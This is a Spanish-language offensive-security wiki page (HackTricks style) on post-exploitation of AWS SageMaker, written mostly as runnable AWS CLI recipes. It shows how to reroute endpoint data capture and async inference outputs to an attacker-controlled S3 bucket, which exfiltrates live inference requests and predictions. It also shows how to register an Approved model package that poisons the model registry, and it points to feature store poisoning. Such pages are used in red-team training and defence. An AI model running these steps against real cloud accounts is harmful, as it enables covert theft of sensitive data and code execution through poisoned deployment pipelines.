Files

9.4 KiB
Raw Blame History

AWS - SageMaker Post-Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

Exfiltración de datos de endpoints de SageMaker via UpdateEndpoint DataCaptureConfig

Abusar de la gestión de endpoints de SageMaker para habilitar la captura completa de request/response en un bucket S3 controlado por el atacante sin tocar el modelo ni el contenedor. Usa una actualización rolling con cero/bajo tiempo de inactividad y solo requiere permisos de gestión del endpoint.

Requisitos

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (o usar un bucket existente en la misma cuenta)
  • Opcional (si se usa SSEKMS): kms:Encrypt on the chosen CMK
  • Objetivo: un endpoint InService de tiempo real existente en la misma cuenta/región

Pasos

  1. Identificar un endpoint InService y recopilar las variantes de producción actuales
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. Preparar destino S3 del atacante para capturas
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. Crea una nueva EndpointConfig que mantenga las mismas variants pero habilite DataCapture al attacker bucket

Nota: Usa content types explícitos que cumplan la validación del CLI.

NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Aplicar la nueva config con un rolling update (minimal/no downtime)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Generar al menos una llamada de inferencia (opcional si existe tráfico en vivo)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Validar capturas en el S3 del atacante
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Impacto

  • Exfiltración completa de los payloads de solicitudes y respuestas de inferencia en tiempo real (y metadatos) desde el endpoint objetivo a un bucket S3 controlado por el atacante.
  • Sin cambios en el model/container image y solo cambios a nivel de endpoint, permitiendo una vía sigilosa de robo de datos con mínima interrupción operativa.

Secuestro de la salida de async inference de SageMaker vía UpdateEndpoint AsyncInferenceConfig

Abusar de la gestión de endpoints para redirigir las salidas de inferencia asíncrona a un bucket S3 controlado por el atacante clonando el EndpointConfig actual y estableciendo AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Esto exfiltra las predicciones del modelo (y cualquier entrada transformada incluida por el container) sin modificar el model/container.

Requisitos

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: Capacidad para escribir en el bucket S3 controlado por el atacante (vía el model execution role o una política de bucket permisiva)
  • Target: Un endpoint InService donde se estén usando (o se usarán) invocaciones asíncronas

Pasos

  1. Recolectar los ProductionVariants actuales del endpoint objetivo
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Crea un attacker bucket (asegúrate de que el model execution role pueda PutObject en él)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Clonar EndpointConfig y secuestrar las salidas de AsyncInference hacia el bucket del atacante
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Disparar una invocación asíncrona y verificar que los objetos lleguen al S3 del atacante
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Impacto

  • Redirige los resultados de inferencia asincrónica (y los cuerpos de error) a un S3 controlado por el atacante, posibilitando la exfiltración encubierta de predicciones y de entradas pre/post-procesadas potencialmente sensibles producidas por el contenedor, sin cambiar el código del modelo ni la imagen y con tiempo de inactividad mínimo o nulo.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

Si un atacante puede CreateModelPackage en un SageMaker Model Package Group objetivo, puede registrar una nueva versión del modelo que apunte a una imagen de contenedor controlada por el atacante y marcarla inmediatamente como Approved. Muchas pipelines CI/CD despliegan automáticamente las versiones de modelo Approved a endpoints o training jobs, resultando en ejecución de código del atacante bajo los roles de ejecución del servicio. La exposición entre cuentas puede amplificarse por una política de recurso ModelPackageGroup permisiva.

Requisitos

  • IAM (mínimo para comprometer un grupo existente): sagemaker:CreateModelPackage en el ModelPackageGroup objetivo
  • Opcional (para crear un grupo si no existe): sagemaker:CreateModelPackageGroup
  • S3: Acceso de lectura al ModelDataUrl referenciado (o alojar artefactos controlados por el atacante)
  • Objetivo: Un Model Package Group que la automatización aguas abajo supervisa en busca de versiones Approved

Pasos

  1. Establecer la región y crear/encontrar un Model Package Group objetivo
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Preparar datos de modelo ficticios en S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Registrar una versión de paquete de modelo Approved maliciosa (aquí benigna) que hace referencia a una imagen pública de AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Verificar que exista la nueva versión Approved
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Impacto

  • Envenenar el Model Registry con una versión Approved que referencia código controlado por el atacante. Los pipelines que despliegan automáticamente modelos Approved pueden descargar y ejecutar la imagen del atacante, provocando ejecución de código con los roles de endpoint/training.
  • Con una política de recurso ModelPackageGroup permisiva (PutModelPackageGroupPolicy), este abuso puede desencadenarse entre cuentas.

Envenenamiento del Feature store

Abusar de sagemaker:PutRecord en un Feature Group con OnlineStore habilitado para sobrescribir valores de features en vivo consumidos por inferencia en línea. Combinado con sagemaker:GetRecord, un atacante puede leer features sensibles. Esto no requiere acceso a modelos ni a endpoints.

{{#ref}} feature-store-poisoning.md {{/ref}}